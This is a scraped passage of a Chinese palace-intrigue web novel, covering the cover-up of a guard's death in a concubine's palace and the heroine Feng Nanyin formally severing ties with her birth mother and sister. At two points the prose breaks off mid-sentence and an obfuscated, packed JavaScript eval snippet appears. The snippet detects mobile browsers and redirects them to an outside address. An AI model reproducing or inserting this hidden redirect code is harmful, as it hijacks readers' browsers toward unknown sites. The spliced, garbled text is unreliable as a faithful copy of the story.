恨铁不成钢道:“你真是糊涂,事情没核查清楚前,怎敢惊动皇上,不要脑袋了?” “小的……”他真是冤枉,他明明听到事情成了啊! 妙嫔这时呜咽,“皇上,臣妾不想活了。” 凤南茵摸了摸念芯的脉搏,心下叹了一口气,这宫殿的主仆都在撒谎! 她从屏风上抓了一件披风出来。 “皇上,这件事妙嫔娘娘有委屈,她身子弱受不得寒,不如让妙嫔娘娘先起来,将经过学说一下吧。” 妙嫔感激地看了一眼凤南茵,瞥向皇上。 皇上:“爱妃受委屈了,起来向朕说说到底发生了什么。” 他接过凤南茵手中的披风给她裹上。 姜妙梨此时心都乱成了一团,可她不得不紧咬着牙撑着,身子控制不住地打着哆嗦。 “皇上,皇上……” 她不停地唤着皇上,看似被吓到了,实则是在心中组织语言。 “爱妃莫怕,朕在这里,会替你做主,你只管说,到底发生了何事。” 姜妙梨知道,再拖延下去于自己不利,于是言语混乱道。 “臣妾今日起来身子就有些不爽利,皇上是知道的。” 皇上下朝后来看过她,人确实还在榻上躺着,说是着了凉,他还命太医过来给瞧过。 “今日臣妾早早就躺下了,由着宫人自行玩乐,毕竟是除夕。” 她捏着帕子,心下合计着措词。 “可是臣妾睡梦中,就感觉有东西压在身上,难受得臣妾喘不上气,一睁开眼,就看到一个人影,当时我吓坏了,只能不停的尖叫。” 她说到这里,言语也顺了。 她道:“这宫里伺候的人也不知都去了哪,只念芯赶了过来,她见有人欺负我,就拿了花瓶砸了那人的头。” “可念芯力气小,非但没伤到他,还被那人反手将念芯推开。” “他得手后,又来欺辱臣妾,那时我只想与他同归于尽以保清白,就随手拔下头上的簪子刺了下去,随后他,他就不动了。” 她身子缓缓往下滑落,双膝又要跪下。 “皇上,臣妾杀了人,是不是要为他偿命?” 第一百四十四章两宫栓到一条船上 皇上这会都要心疼死了,这样娇媚柔弱的美人,哪承受得住这样的惊吓。 “这人杀的好,爱妃无罪,你不但无罪,朕还要好好奖赏你!” 只要不是妙嫔与侍卫私通,这件事她就是无罪的。 他揽着着人向侧殿走,“不怕,这事朕一定会给你一个交代,如今储秀宫死了人也住不得了,明日你便搬去春华宫,那里有地拢,冬天也暖着些。” 皇后质疑,“皇上,春华宫是妃位以上才能入住的寝宫。” 她看向妙嫔,这样年轻的身体,这样帝王的厚宠,她心中隐隐生出嫉妒。 皇上道:“那就晋封为妃又如何。” “皇上,自古晋封都要有明目,妙嫔尚无子嗣,这般晋封快速,朝臣及后宫姐妹要如何看?” 皇上冷眼看她,“今日之事,朕还没有质问你。念在如今你身子不好,后宫之事放了权,此事也怨不得你。至于妙嫔晋升一事,她服侍朕有功,也当赏。” 皇后被皇上训斥,身子晃了晃,今日她不该多言的,如今她在皇帝面前越来越没有话语权了。 德妃从头到尾都没敢说话,今日之事一看就是人做的局。 妙嫔出事与否都有她的责任。 此时她不能再躲着了,“皇上,今日之事臣妾会追查到底,一定给妹妹一个交代。” “恩,这事你多上点心。” “梨儿,一会你先随朕回养心殿养着。” 妙嫔这会心中揣着事,可不敢和皇上离开,她哄着道:“皇上,臣妾今日受了惊吓,又是这一身的脏污,万万不敢服侍陛下,还望皇上恕罪。” 皇上看了她一眼,人都吓得没了颜色,也觉得无味。 “行吧,那就让德妃留下帮你安置这里,朕先回养心殿了。” 他喝了点酒,此时酒意上头,不想再管这些。 所有人离开,那死去的侍卫也被抬了出去,德妃命人将宫中昏厥的下人全部泼醒,让他们将房间清洗一遍。 宫人根本不知发生了何事,也不敢问,都忙了起来。 妙嫔这时抱着念芯,担忧不已。 “念芯,你快醒醒,你怎么样了?” 凤南茵居高临下看着二人,悠悠道,“念芯,不用再装了。” 她早就知道念芯一直是装晕的。 妙嫔抱着念芯的身子也僵持在原地,惊恐地看着凤南茵。 凤南茵叹了一口气,矮下身子,轻声质问。 “妙嫔,到底是怎么一回事,念芯脑后并不无外,却是一地的血。” “而那名侍卫后脑骨碎裂,那才是他的致命伤,你却说他还能伤了念芯后,继续来为难娘娘您?” 妙嫔瘫坐在地,“一切都被你看穿了?” 凤南茵安抚她,“你先前的命是我救的,你告诉我真相,我不会害你。” 姜妙梨眼中落下一行泪,她,真的命好苦。 慢慢向凤南茵跪下,哀求着。 “南茵,你救过我一次,求求你,再帮我一次吧。” 凤南茵问:“你让我帮你,那你总要和我说实话,不然这个忙我也帮不了。” 侍卫的尸首还在院中停着,如今这殿中还没有外人,晚了怕是真的帮不上了。 念芯这时不装了,坐起身后直接跑过去关门。 德妃都被这一幕看呆了,“这到底是怎么一回事!” 妙嫔不知该如何说出口。 “我不想死,德妃娘娘,南茵,我的命是你们救下的,我还没有报答,我真的不想死。” 德妃:“你不用说这些,先说实情。” 姜妙雨全身打着抖,她要赌一把,今日这事只是暂时瞒混过去,可是南茵能看出端倪,别人一定也能看出来。 她赌德妃会帮她。 “今晚,我叫宫人自行玩耍,独自一人早早歇下。” “可是,我闻到了一种异香,人便意识不清了,迷糊间,有人,有人……” 她哭得难以自已,羞愧难当,“后来,又闯进一人,那人进来时,趁着那侍卫不备,一击将其打死,拔下我的发簪扎进他的脖颈。” “我那时神智不清,由着那人替死掉的侍卫穿衣。” “后来,念芯冲进来,他二话不说将念芯劈晕放倒在地……他对我的脸泼了茶水,我还未等清醒,他说了一句,皇上在赶来的路上,便匆匆离去。” 德妃心下大骇,那么说来,这妙嫔其实已经失身了。 姜妙语跪行上前,哭求着,“娘娘,我知道我该死。可我不甘心被人这样陷害,我想报仇,只要抓到害我之人,您让我怎么死都可以,只求您现在能帮我隐瞒此事。” 德妃轻轻叹了一口气,将她搀扶起来。 “你清白有毁,本不该留你性命,可本宫也想知那幕后之人是谁,你起来说话吧。” 姜妙语之所以敢向德妃说这些,不怕她害自己,还因那侍卫给了她一物。 “娘娘,那个帮我的人,给了我这个。” 德妃见是一块令牌,狐疑地接过。 当看清上面的花样,她心中虎了一下。 这,这是他儿侍卫的令牌,今日帮妙嫔善后的人竟然是靖王。 德妃心下责怪,靖王为什么要趟这趟浑水,万一那暗卫被皇上发现,这事他有嘴也说不清了。 凤南茵认得那令牌,也猜到了靖王的用意。 她怕这事中间出纰漏,只能问当时清醒的念芯。 “念芯,你们娘娘出事前,你在做什么,其他宫人又在做什么?” 念芯道:“我们原本聚在偏殿吃酒,因为我来了小日子,染脏了衣物,在净房耽搁的时间有些久了,再回去时,发现他们一个个全晕倒了。那房中有很重的香味,我跑出来后,跌跌撞撞到娘娘的寝殿,闯进殿的侍卫已经死了。” 凤南茵在心中合计,也就是说,那些原本被迷晕的宫人,是靖王的人摆放至外面的。 而那个告密的人,应该确实撞破妙嫔被人玷污了…… “母妃,那个传旨的公公定然知道幕后指使者是谁,不能放过他。” 德妃点头,“此人是个隐患。” “还有,那个死掉的侍卫得找信得过的人立即抬出宫,将尸首毁尸灭迹,不然一验就会发现妙嫔在说谎。” 到时候就会引出靖王在背后相帮。 难怪妙嫔敢向娘亲说出全部实情,如今两宫已经是绑在一条船上。 德妃忙吩咐,“长通,你立即着手去办,一定要处理的干净。” 夏公公刚要离开,被凤南茵又唤住。 “不行,母妃,幕后之人若是晓得妙嫔娘娘无恙,侍卫还死了,一定会派人查探。” 若是那人发现侍卫的死有蹊跷,事情就麻烦了。 “念芯,一会你装作发疯,找东西将那死人的脑袋砸烂,这样就不怕有人细查了,你脑后无伤,最好也处理一下,防止这宫中有人看出端倪。” 她仔细又想了许久,确保没有疏漏。 “一会我便和母妃回宫,我假装回去取伤药,你的伤日后由我来治,我们走后你便按我说的做。” 片刻后,储秀宫再次大乱。 “娘娘,不好了,念芯,念芯疯了。” 念芯冲出宫,拿了一块石头就疯狂的砸侍卫脑袋,宫人拦都拦不住。 “畜牲,让你欺负我们娘娘,让你伤我,我打死你,打死你。” 姜妙雨闭着眼,那侍卫的头被砸的血肉模糊。 “好了念芯,事情过去了,不怕,没事了。” 宫外有传旨太监唱喝:“贵妃驾到……” 第一百四十五章妙嫔,你这是要恃宠而骄吗? 公公传讯的声音才到,余贵妃已经扶着孕肚出现在储秀宫门前。 她没能参加上宫宴,心中本就怀着恨。 虽说拉肚子是自己小心过了头,可她没攀咬到人,就是不甘心。 近来她事事不顺,连帝王的宠爱都少了,她绝对不能容忍他人风头盛过自己。 所以,这一整日她都在等着妙嫔那个贱人倒霉。 好不容易等事成的时间到了,可下人回禀,妙嫔不但没事,还将她安排的侍卫给打死了。 那可是她的暗卫,不敢说武功一等一的强,也不至于被女子反杀,更何况她还给了迷药。 “废物!” 万无一失的事情,怎么就出了纰漏? 她才到宫门口,就被所看到的吓住,随即忍不住作哎。 暗卫的尸首被丢在院正中,脑袋被人砸得血肉模糊,地上到处溅射的血污,周遭还有黄白之物,似是流出的脑浆。 “呕!” 她忍不住吐了出来,随后指着站在廊下的姜妙梨。 “妙嫔,这是怎么回事?” 她瞥开脸不敢再踏前一步,叱责身边的人。 “都愣着做什么,还不将那尸首挡起来,是想吓死本宫吗?” 她身边的福公公忙掏了帕子挡了那死者的脸,不得不说他差一点也要吐了。 “妙嫔娘娘,你们这是做什么?人死了不尽快抬走,怎么还给打成这样?” 余贵妃气得手抖,这是她精心培养了多年的死士,竟被打成这般模样。 “这是谁干的?” 她看向尸首旁呆愣的宫娥。 “你打的,你好大的胆子。” 念芯丢掉手中的石块,身子不住地发抖。 这时她也后怕起来,她听令将人打完,当时只顾着掩盖痕迹,如今一手的血,早已经吓得站都站不起来。 “我,我只是——恨他。” “本宫看你是疯了,在后宫做这种残暴之事,他日你再伤了别人,岂不是纵容这等奴才闯祸。” 贵妃根本不给妙嫔说话的机会,道:“来呀,将这个发疯的宫婢拉下去,杖毙。” 念芯:“……” “不要,贵妃娘娘,念芯没有发疯,她只是太想护着我了。” 妙嫔冲过来将人护在身后,怎么也没想到贵妃会来。 念芯万万没想到贵妃会要她的命。 她哭求着,“贵妃娘娘,奴婢没有疯,奴婢只是太害怕了。” “哼,害怕就能将人打得面目全非?今日本宫若是纵了你,他日你再行凶岂不是本宫今日放过之错。” 她给福公公使眼色,“还等什么,将人带下去。” “不要!”妙嫔无助地看着前来拉扯念芯的人。 念芯要是被带走,一定会死的。 凤南茵这会刚好带了伤药进来,一进来就看到贵妃又在欺负人。 “这是做什么?” 妙嫔此时就像风中岌岌可危要掉落的叶,求助地攀上凤南茵。 “乡主,帮念芯说说情吧,她真的没有疯,你是大夫,你知道的。” 姜妙梨昔日没少受贵妃磋磨,那刻在骨子里的怕让她不敢直接反抗。 余贵妃见到凤南茵冷哼,“呦,这不是才得了封赏的冀宁乡主吗,怎么,见了本妃,连请安都忘了?” 凤南茵双手交叠放在身侧,对她行了标准的万福礼。 “南茵见过贵妃娘娘,给贵妃娘娘请安。” 余贵妃冷道:“一边站着,这里没你什么事。” 凤南茵看到地上侍卫尸身下氤氲出的大片血渍,又看贵妃要拿人,心道坏了,自己给妙嫔出的主意,竟然反害了念芯。 不行! 她上前两步,挡在妙嫔身前。 她脸上挂着笑道:“贵妃娘娘今日身体抱恙,连宫宴都没有参加,怎么深夜来储秀宫了?您现在身体虚,忌讳受寒。” 她问念芯,“这又是怎么了,怎么好端端的惹了贵妃不快,是不是被刺客伤了头,说了什么忌讳的词?” “还是这侍卫又做了什么?先前我走时他还有一口气,这会怎么就满地的血了?” 她不停地给念芯使着眼色,希望这丫头能明白她的意思。 念芯吓坏了,今日被带走,必死。 但是人在极度危险之下,脑袋反而异常的冷静。 她懂了乡主的意思,跪正了身子。 “奴婢没有冒犯娘娘,是娘娘一进来被侍卫的惨死吓到了,她说奴婢发疯,怕奴婢日后再伤到别人,要杖毙奴婢。” “啊?是这样?” 贵妃指着那侍卫,“你还敢说自己没疯,你一个宫女,手段如此凶残,这后宫怎么留得下你!” “回娘娘,奴婢真是看到那侍卫动了,怕他再起来害我们娘娘,才找了石头砸伤了他。” 凤南茵安抚她,“没事,不怕了,虽然他是侍卫有武功,但他也只是强弩之末,害不得人了,不怕不怕啊。” 她转头看身贵妃,“娘娘,念芯今晚受了伤,又受了刺激,一时过于激动也是情有可原,娘娘身子贵重,又怀有龙嗣,还是不要在这污秽之地久留,以免伤了身子。” 余贵妃别有深意地看着凤南茵,“怎么,你要护着这发疯的卑贱宫人?公然顶撞本宫?” “南茵不敢,南茵一切都为贵妃娘娘的身体安危着想。” “若本宫笃定她发疯害人,要发落她,你非要阻拦?” 她准备强行将人带走,今晚心中这口恶气一定要发出来。 福公公带人又要拽念芯。 凤南茵的身份到底不适合与贵妃相冲,她不停地给妙嫔使眼色。 眼下,只有她能救人了。 妙嫔不知道今晚的事谁在幕后指使,可若不是有靖王的暗卫相助,若不是有德妃相护,她已经不得好死了,还会牵累父族。 难关都过了,她绝对不能让念芯这个时候出事。 她忽然站起身,一把推开上前拉扯念芯的内侍。 “贵妃娘娘,您既然身体不适连宫宴都参加不了,怎么有力气来我这偏僻的储秀宫?您一来就要杖责我的宫女,娘娘这般不为自己身子考虑也要代德妃发落宫人,难不成今日这侍卫是你派来的。” 她眼中皆是狐疑,看得贵妃心虚不已。 “你胡说什么!” “本宫出来散步,听闻这里出了事,想来安抚一下受了惊吓的妹妹,本宫好心,你竟然敢攀咬本宫。” 妙嫔豁出去了。 连冀宁乡主都晓得护她,护念芯,她这个做主子的只会龟缩,就不配再活着,也不配找到幕后真凶。 “娘娘若是真有心安抚我,就不该发落我的贴身宫女,冀宁乡主也说了,念芯是受了惊吓,她又看到侍卫动了,所做的一切都是为了护我这个主子。” “可娘娘不听解释,依旧要杖毙她。我看您来安抚我是假,想为这个侍卫报仇是真。” “你!你怎么敢!这是仗着盛宠,恃宠而骄了吗?” 余贵妃没想到,昔日被她拿捏在手心,一路被她抬举成为妙嫔的贱人,今日竟然敢顶撞她。 妙嫔可不敢担这个罪,她恰到时机地跪下。 “妙嫔不敢以下犯上,更不敢对贵妃娘娘不敬,但您今日举措确实让人生疑。” 凤南茵知道,与贵妃硬碰硬,有理也说不通,她忙道。 “娘娘,这事不如交给皇上或者皇后娘娘评断吧,毕竟今日害妙嫔的幕后之人还没查到,念芯做为当时唯一清醒之人,她的证词还有用处。” 第一百四十六章又给我画饼,挖坑? 余贵妃差一点咬碎一口银牙,这个凤南茵,怎么哪里都有她? 她没有理会凤南茵说的那些话,而是问:“你为何出现在这里?” 凤南茵指了指蝶兰怀里的托盘,“我带了一些药过来,有给妙嫔娘娘安神压惊的,还有给念芯用的外伤药,之前我与念芯就相识的。” 念芯一身的血,看起来很惨。 贵妃也不知她到底伤在了哪里,只问,“既然受伤了,为何不宣太医。” 凤南茵呵笑,“贵妃娘娘有所不知,太医院的太医只给贵人瞧病,早前念芯跪求为妙嫔看诊,都没换来一次前来,心中对他们是有成见的。” 余贵妃又看了一眼凤南茵带来的药,冷哼一声。 “既然这样,本宫丑话说在前头,这宫娥若再发疯害人性命,就是妙嫔及凤南茵你二人之过,到时候别怪本宫要治你们的罪。” 她也不等二人回复,转身扬着下巴走了。 凤南茵提着的一颗心稍稍放下,长长吁了一口气。 “娘娘,念芯,快起来吧。” 她有些歉意道:“还是我太鲁莽了,出了这个点子差点害了念芯。” 妙嫔摇头,“贵妃来的如此快,就怕是来抓把柄的。亏得你的主意,不然真的发现那侍卫的伤不对,今晚我也活不成了。” 她想向凤南茵跪下,“冀宁乡主,你接二连三的救我,这恩情我都不知要如何还了。” 凤南茵忙将她托起来,道:“娘娘,我救你并无所图,日后若有需要您相助之时,不忘了我就好。” 挟恩图报,只会快速消耗尽恩情。 有心之人不需要叮嘱,她也是赌,这位妙嫔娘娘不是忘恩负义之人。 贵妃回宫后,气得再次摔了茶盏。 “岂有此理,如今一个下等妃嫔,一个不入眼的乡主竟也敢与本宫怼着来。” 换作从前,这种人都该由她随意打发了,也无人敢说半句。 丛嬷嬷:“娘娘,这口气您不必急着出,那妙嫔正得盛宠,您此时动她,确实容易引得他人怀疑。还有那冀宁乡主,再怎么说她也治好您的脸,不好明着叱责。” “想要本宫咽下这口气,我偏不能。” 她眼珠子一转,便想到了主意。 “去,将皇上前个才赏下来的南海珍珠手串拿出来,叫人给储秀宫及钟粹宫送去,就说是为了安抚妙嫔所受的惊吓。” 丛嬷嬷问道:“娘娘,您这样做确实能打消皇上那边的疑虑,可那手串何等名贵,您也才得了两条。” 七公主都没有得到,就这样送出去? “就是这后宫独独一无二的东西,届时才能知晓是谁害了我。” 她想要的人命,还从没有失手过。 翌日,册封妙嫔为丽妃的旨意就下来了,赐住春华宫。 皇上流水一样的赏赐也送进了春华宫,这后宫一时间全都晓得丽妃除夕当夜**,皇上为了安抚她提升了位份。 曾经不起眼的储秀宫,一下子成了众人高攀不起的存在。 多少人觉得冀宁乡主厉害,要不是她在暗中相助,丽妃哪能爬上妃位。 一时间,钟粹宫的门槛差一点就要踏烂了,各种找理由和借口想让冀宁乡主瞧身体的,还有送上心意的。 凤南茵对此很是烦恼,她对这些见风使舵,见利忘义的人并不想相交。 德妃便准了她出宫七日,让她去宫外散心。 而她出宫的这七日,也成功让她躲过一劫。 凤南茵带着雏菊出宫,只一日,凤家人就得了消息。 水水一脸不快地进来,道:“小姐,凤家人来拜访了,只是宫老去了魏府,他们非说要在府上等着,您要不要去见上一见?” 凤南茵呵笑,“还真是会钻赢,当初在石门府,他们与师伯吵成那般,如今还能登门拜年。” 周婶子问,“乡主,你要不要去见见?” 再怎么说,那是乡主的生母,虽然断了关系,外人却不知原由,冷着不见传出去于小姐名声不好。 “她们不知道我出宫,不用过去。” 本以为这人等上一会就走了,半炷香后管家又来了。 管家这时又来报,“乡主,凤夫人邀请您明日一起去相国寺上香祈福,希望您能去见一面。” 凤南茵一个冷刀子扫过去,怒视着管家,“你告知他们我在府上?” 管家连连摆手,“老奴绝对没有多嘴,是他们来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289228|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候就知您在府上,说是从安王殿下那里得知的。” 凤南茵烦闷的不行,她从宫里躲清静到宫外,还是躲不过人情往来。 “你去回了,说我半个时辰前回了石门府的铺子,不在府上。” “妹妹,做了乡主就这般不可一世了?母亲亲自登门来见你,你竟然还端起了架子。” 管家见人竟然跟着她进了内宅,气恼道:“你这位小姐好生没有教养,怎么擅闯别人府邸!” 凤南蓉早一颗心泛了酸,明明她才是凤家的金枝玉叶,可如今家道中落,她与娘亲还有大哥挤在三进深的小院,她的闺房也只得一间,再没有自己的院落。 倒看看现在的凤南茵,一个乡下长大,饭都吃不饱的蠢物,不但得了乡主的赏赐,现在住的这所宅院比当初安国公府都要好上三分。 凭什么她俩的命运发生了逆转。 “我不跟进来,能知道我妹妹躲着我?” “你一个奴才对本小姐嚷什么,我与自家亲妹妹说话,哪有你一个下人插嘴的份。” 管家也是无语,“没见过你这样不知羞的。” “你说谁不知羞,你个奴才也敢评论本小姐。” 凤南茵带着人施施然出现在门前,“凤南蓉,管家他说的没错,这里不是凤府,而是我师伯的宅院,你到别人家作客半点规矩都不懂,你就是这般受的教养?” 凤南蓉瞪了她一眼,反驳回去。 “你又好到哪里,自己的亲生母亲不认,撒谎不见,你连该有的孝道都没做到,有什么资格说我。” “你指责我不守孝道?卖女求荣的事情你都忘记了?还是大理寺牢狱之祸,送衣送被的情都忘记了?还是你凤南蓉被官府通缉,命悬一线是我带你回的石门,你都忘记了?” “也对,狼心狗肺的东西能记住什么,你们眼里只有权势、富贵,亲情?早在十四年前就对我割舍了,你配唤我妹妹吗?” “你!” 凤南蓉要气**,她跺着脚。 “这里都是你的人,我骂不过你,但母亲来了,你就该见一面,否则你就是不孝。” “好,我见,我倒是要看看她今日又在给我画什么饼,挖的什么坑!” 第一百四十七章母女见面一定要这样说话吗? 凤南蓉见她这样不讲情面,上去拽住她的衣服,将人拉住。 “凤南茵,你现在是个什么态度,那是长辈,是你的母亲,你现在这种忘恩负义的样子德妃娘娘知道吗?” 凤南茵已经不想再和她掰扯,忘恩负义这个词用在谁身上都可以,唯独用不了她身上。 “清者自清,像凤大小姐这种眼瞎又没心的人,说别人的时候你倒是义正言辞,你也不怕遭报应。” “你说谁眼瞎没心!” “凤南蓉,如今你不配教训我,而且这里是我家,你信不信我现在就命人将你赶出去。” “凤南茵,再怎么说我也是你姐,你这样对我不怕传出去让人唾骂你!” 雏菊上前拦住她,“凤小姐,我们乡主身份高贵,你说话再不注意态度,就不是请你出去这么简单了。” 凤南蓉气得眼圈泛红,“好,好的很,现在你都晓得用身份压我了。” 凤南茵凑到她耳边,轻声道:“这还是和你学的,当初我在国公府的时候,你就是这般对我的。” “我不过是现学现用,你若是受不了,日后就离我远一点。” 凤南茵把她气个半死,心里那一点不痛快终于舒坦一些,带人向前院走。 路上她在心中合计,如果她和凤夫人断清关系,世人会不会说她攀了高枝,看不上凤府,才如此做? 她被误解没什么,就怕连累德妃的声誉。 她心中矛盾,正犹豫要不要做个了断,就听到凤夫人正等得不耐烦,对古嬷嬷发着牢骚。 “这个南茵,如今得了德妃赏识竟然与我拿起了架子,她也不想想,若是没有我与德妃的这层关系,她真的能入了德妃的眼?” “真真是个没良心的东西。” 凤南茵苦笑,何必说的这样难听,既然不喜,干吗来这等。 看来今天凤夫人的目的又不简单。 凤南茵整理好情绪,出现在门口。 “听府上下人说凤夫人来见我师伯,我还以为下人报错,没想到前安国公夫人会给寻常百姓拜年。” 比喻她是东西,那就嘲讽回去。 她没看凤夫人一眼,也没问安,直直向着上首座位坐了下去,主家身份姿态摆得高高的,再不是那个可以随意拿捏的孤女。 凤氏见她这个态度,心中气闷,暗骂没礼数的死丫头。 “南茵,你我母女见面一定要这样说话吗?” “那凤夫人想让我怎么与你说话?不如我们谈谈侯府如今的情况?那位世子爷死后,夫人可为他惋惜过?” “亦或者夫人觉得,我做侯府的世子妃不如现今的冀宁乡主更有利于凤家,所以不惜纡尊降贵,前来拜年?” 凤南蓉直接砸了她端起来的茶碗,骂道。 “凤南茵,你够了!真的以为当了一个小小的乡主就了不得了,你看看你现在张狂成什么样了?” 凤南茵看着她摔碎的茶碗,眸底阴冷一片。 “你骂我张狂,可我又哪及凤大小姐万一!” “这茶碗是宫中之物,靖王所赐新春礼物,是上等汝窑描金彩绘,一套就六只,价值千金,凤大小姐好张狂的脾气,上他人府中坐客就这般毁坏私物,凤夫人,您这就是这样教育女儿的?” 凤氏心中搓火,又恨铁不成钢地看着长女。 “南蓉,你这是做什么,还不道歉!” “母亲,刚刚在后院女儿就受了她一肚子气,这会她又这样挤兑您,干吗要给她道歉。” 凤南茵摆手。 “道歉就不必了,我也不稀罕。照价赔偿吧,不过这东西难得,又是靖王所赠,就怕王爷那边不好交代。” 凤南蓉气不过,大吼,“你够了,还拿王爷来压咱们。我们好心好意来给你送生辰礼,你千方百计挤兑咱们,你就是狼心狗肺。” 她拉着凤氏的手,“母亲,咱们走,日后再不来就是了。” 门口忽然出现几位家丁将去路给拦了。 凤南茵冷下脸,“你们不请自然,对我府上打砸一通,抬抬屁股就想走?” “赵管家,报官,凤大小姐毁我府上昂贵物品,必须要官府出面让她长长教训。” 凤氏也没想到,一个小小的茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292294|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗,凤南茵竟然要报官。 “南茵,之前种种是我不对,可今日你这态度也有错,你姐姐脾气暴躁,失手打碎一个茶碗,你又何必咄咄逼人到报官的地步。” “所以,又是我的不是喽?” 凤南茵好笑地看着她,“凤夫人想与我冰释前嫌,却在心底瞧不上我这个冀宁乡主,既然如此,我们就像从前那样互不往来就好,我也没逼着你们上门自取羞辱。” “凤南茵,你这样与母亲说话,你良心能安?” “凤夫人,你骂我是没良心的东西时,其实也没当我是你女儿,既然如此,我不认你是母亲有何不对?” 凤氏心中咯噔一下,原来她随口抱怨的话竟然被她听了去。 她忙变了脸,装出无奈地样子,道:“南茵,作为父母哪有不爱自己的子女的,我那不是等急了说的气话吗?” “要不这样,我那里还有一套琉璃盏,回头我差人给你送来,价值不比靖王这套便宜,你就别怪你姐姐了。” 凤南茵也没真想报官,毕竟闹大了于她也不好看。 至于杂碎的那个茶盏虽然不便宜,其实也不是靖王所赠,他赠的那套自然要收在库房珍藏。 凤氏见她没有再闹,哄着,“你瞧瞧我给你带来什么,母亲知道你不喜欢华丽的东西,特意选了一只冰玉镯,你看这晶莹剔透的水头,可喜欢?” 锦盒打开,黑丝绒布上放着一只水头极好的翠玉镯。 很漂亮,也适合姑娘家戴,可她没兴趣。 凤夫人这时打起了亲情牌,又变成那副和颜悦色的态度,就好像刚刚的不愉快从来没发生过。 “你和南蓉都是正月初一生辰,这礼物是一对,你姐妹二人一人一只,你戴在手上,日后与南蓉再有口角矛盾,伤了和气时,看到这镯子至少能想到我。就看在母亲的面上,都相互让让。” 她说着,就想给凤南茵戴上。 凤南茵将手收起来,拒绝道。 “凤夫人,这礼物您还是拿回去吧,我这手腕小,戴不得太多东西。” 她说着,晃了晃两只皓腕。 第一百四十八章靖王出面,帮忙断亲 凤氏就见凤南茵左手套着缠了三圈的珍珠珊瑚手串,右手一对金玉相间手镯,上面还嵌了玛瑙宝石。 凤南茵不爱在头上戴钗环,却喜欢手上的饰品。 那串珍珠手串是贵妃所赐,当时出宫忘记收起来,便一直戴着,也确实漂亮。 凤夫人看了一眼自己送的东西,竟是被比得那样平常,脸上尴尬。 “再怎么说这也是母亲一番心意,你之前生辰母亲都错过了,这个生辰礼你总要收下。” “留下可以,戴就不一定了。凤夫人今日来若没有其它目的,便请回吧,记得将赔偿送过来,今日事便不做追究了。” 她以为这话说完,足够让凤夫人日后不再上前自找难堪。 哪知她忽然就抹起了泪,哭得好不伤心。 “你们是亲姐妹,闹成现在这般我这心里着实难受。南蓉的性子像你父亲,受不得委屈,一点就着。你的性子更像我,执拗。” “母亲心里清楚,你怪我,怪南蓉,可那时凤家处于困境,我一心想让凤家再复从前,拿你做了牺牲是我不对。” “南茵,这其中种种母亲向你解释多少回了,如今看在你过得好,又得了封赏,就不能原谅咱们一次吗?” 凤南茵想说,既然你说我的性子随你,就该明白,有些关系坏掉了,是没办法修复的。 “凤夫人,我们母女情份到今日就截止吧,若从前我做的,你觉得还不够偿还你给的生命,日后凤南蓉入宫,我会再护她一次。此后,我希望你们莫要再来打扰我。” 她被盛青岚盯着看了好一会,最后凤夫人当真妥协了。 “看来你是铁了心不认我这个母亲了,我这般讨好你,你半点情分不讲,断亲便断了。” 凤南茵没有失望,亦没有难过,只有一瞬间的轻松。 她才知道,自己是多想摆脱凤家这层关系。 “凤夫人既然应了,为了确保你不再出尔反尔,明日将将凤大公子也叫上,我们写一个文书,签字画押。日后不管你们凤府如何辉煌,我也不会上前攀附,我如何困窘,亦不会再求上门,我们从此陌路,只当生人。” 凤夫人脸色忽然就落了下来,“好,既然你决绝,那我也无话可说,南蓉,我们走。” 凤南蓉:“十年河东,十年河西,将来谁过得好还不一定?今日是你瞧不上咱们,主动断了关系,他日你后悔求上门来,别怪咱们绝情。” “我与你本没有姐妹情,断的是与凤夫人的母女情,这里没你说话的份。” 凤南茵吩咐道,“将这镯子收了。” 这辈子她都不会戴。 雏菊在旁气得不行,“乡主,她们明显是见您得势了想利用,对您根本没有情谊,您干嘛还要保那位凤小姐。” 那位凤大小姐一脸趾高气扬的姿态,看着就让人来气。 凤南茵问她,“你讨厌她?” 雏菊嘟唇,“奴婢不敢讨厌谁,但她对乡主无礼,奴婢便不喜她。” 凤南茵笑了,“日后她会到我近前来做事,新入宫的秀女就要麻烦你和蝶兰好好调教,别让她闲着到我近前就好。” 雏菊眼前一亮,欢喜应道:“奴婢省得了,定让她忙的喘气机会都不得。” 凤南茵笑眯了眼,是那凤南蓉傻,今日断了关系就是为了日后整她。 当晚宫老听闻了这事,特意给魏锦传了信。 “我请魏公子明日给你们在旁做个鉴证,断亲文书送到官府盖了印,日后你就与他们再无瓜葛了。” “还是师伯想的周道,那家人最是喜欢翻脸不认账,好几次我都被她们变脸的速度惊愕到,有外人做鉴证以后再不怕她们拿亲情说事了。” 翌日 凤南茵早早就到了茶楼,她将断亲书都写好了,只等凤家人都到了,在上面签字画押,今日回去后就可以好好庆祝。 一盏茶的时间,凤家人才施施然而来。 雏菊见自家乡主脸色不好,开口道:“咱们还以为某些贵人多忘事,今日不来了呢。” 周婶也是觉得这家人不地道,附和道:“她们现在算哪门子贵人,拿捏着时间不过来,也不知又安了什么坏心。” 凤夫人脸色不好,慢慢坐下。 “南茵,你就那么急着与我们断亲?” “母亲,您还在难过什么,如今她攀了高枝,自然迫不及待想与咱们撇清关系。” 宫良没见过这么不要脸的母女,当即气红了脸。 